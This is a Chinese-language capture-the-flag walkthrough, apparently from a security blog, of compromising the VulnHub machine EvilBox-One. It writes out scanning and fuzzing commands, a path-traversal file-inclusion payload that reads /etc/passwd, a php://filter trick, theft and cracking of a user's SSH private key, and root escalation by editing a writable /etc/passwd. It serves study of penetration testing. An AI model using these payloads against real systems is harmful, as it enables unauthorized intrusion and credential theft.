目录
总结
边界突破
信息收集
主机发现
端口扫描,服务探测
web渗透
目录扫描
参数爆破
php封装器写入文件尝试
ssh爆破
内网渗透
提权
免费领取安全学习资料包!
靶机:https://download.vulnhub.com/evilbox/EvilBox---One.ova
攻击机:kali2022.2
目标:两个flag,root权限
没错,鸽了好久我又来了,主要这次在边界突破卡的有点久
总结
主机发现(新方法fping)
端口扫描、服务探测
路径爆破(用过的dirsearch,gobuster,个人感觉gobuster更快)
参数爆破(下载了新字典集seclists,新工具fuff)
web渗透(模糊测试文件包含漏洞,新知识php封装器)
ssh爆破(探测ssh认证方式,ssh公私钥默认位置,新工具john)
提权(新知识find搜索suid权限文件,搜索可写权限的文件)
想了想把总结写到前面,这样小伙伴们可以看看有没有感兴趣的知识,之前放到最后感觉看到最后的人很少哇
边界突破
信息收集
主机发现
fping -gaq 10.0.3.0/24

靶机ip:10.0.3.11
端口扫描,服务探测
nmap -p- 10.0.3.11
nmap -p22,80 -A 10.0.3.11

22:ssh (ssh暴力破解)
80:apache
linux4.15-5.6
web渗透

根目录动不了手脚
目录扫描
gobuster dir -u htttp://10.0.3.11 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
发现/secret,/index.html

空白页面,查看源码也是空白,继续扫描gobuster dir -u htttp://10.0.3.11/secret -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
发现/evil.php

依旧空空如也,可能是只有目录没有参数。
参数爆破
-
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w value.txt:VAL -u http://10.0.3.11/secret/evil.php?PARAM=VAL -fs 0
-w指定字典,第一个是PARAM参数的意思,字典来自burp的专业版,kali可以通过apt-get install seclists来下载seclists里面有很多的字典可用
第二个字典是参数的值,value.txt是我自己写的,在前面的打靶里说过,可以把键盘上所有能敲的字符做一个字典,来尝试让页面报错。-fs 0 是过滤掉回显空白的页面。
当然小伙伴们也可以用burp的爆破模块来做。

并没有发现。试试有没有文件包含漏洞,让字典里的所有参数的值等于一个确定已经有的文件。前面发现了index.php是确定有的。ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.0.3.11/secret/evil.php?FUZZ=../index.html -fs 0
发现command参数可用。

确认漏洞?command=../../../../../../../etc/passwd/
先跳出到根目录,在访问/etc/passwd

注意这个一看就不像是程序账户的用户mowree,后面要用
确认了有文件包含和任意文件读取漏洞。然后我写了一句话尝试了远程包含失败了,应该是只能本地包含。
php封装器写入文件尝试
?command=php://filter/convert.base64-encode/resource=evil.php
可以读取evil.php的源码然后通过base64加密返回。

解码
<?php
$filename = $_GET['command'];
include($filename);
?>
如果不声明的话filter封装器默认是用read,也可以用wirte写入文件。只要有写入权限就webshell了。?command=php://filter/write=convert.base64-decode/resource=test.php&txt=c2hhbnF1ZQo=

寄
ssh爆破
先探测ssh登陆的认证过程ssh mowree@10.0.3.11 -v

支持ssh公钥登陆。思路明确了,用文件包含去读取默认的ssh公私钥。?command=../../../../../home/mowree/.ssh/authorized_keys

?command=../../../../../home/mowree/.ssh/id_rsa
在源码中查看私钥会比较友好,不然页面上真是乱的。。。。

创建id_rsa,把获取到的私钥丢进去,给权限。ssh 对目录的权限有要求,代码中要设置下新生成的config文件权限才行。
~目录权限是750,~/.ssh 的是700, ~/.ssh/* 的是600,~/.ssh/config 是700
vi id_rsa
chmod 600 id_rsa
ssh mowree@10.0.3.11 -i id_rsa

私钥文件还有一个密码,我tm直接好家伙。
爆破密码
用到kali自带工具john,先要转换私钥的格式才能用这个工具爆破
cd /usr/share/john
ls ssh2john.py
./ssh2john.py ~/id_rsa > ~/hash
john hash --wordlist=rockyou.txt

私钥文件的加密密码为unicorn

至此成功突破边界。
内网渗透

第一个flag:56Rbp0soobpzWSVzKh9YOvzGLgtPZQ
提权
sudo -l,内核漏洞,计划任务提权失败后,尝试suid提权
搜索具有suid权限位的文件find / -perm /4000 2>dev/null

并没有漏洞发现。
查看有没有自己写的有root权限的脚本,我们可以去编辑的find / -writable 2>/dev/null

居多/proc的,这是个内存映像目录,没用,把它过滤掉find / -wirtable 2>/dev/null | grep -v proc

???这不给tmROOT密码改了
生成一个密码shanqueopenssl passwd -l

把生成的密文贴到/etc/passwd里面,把root后面的代表密码的x删了。

flag2:36QtXfdJWvdC0VavlPIApUbDlqTsBM
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
![]()
没看够~?欢迎关注!
免费领取安全学习资料包!
渗透工具

技术文档、书籍


面试题
帮助你在面试中脱颖而出

视频
基础到进阶
环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等


应急响应笔记

学习路线





















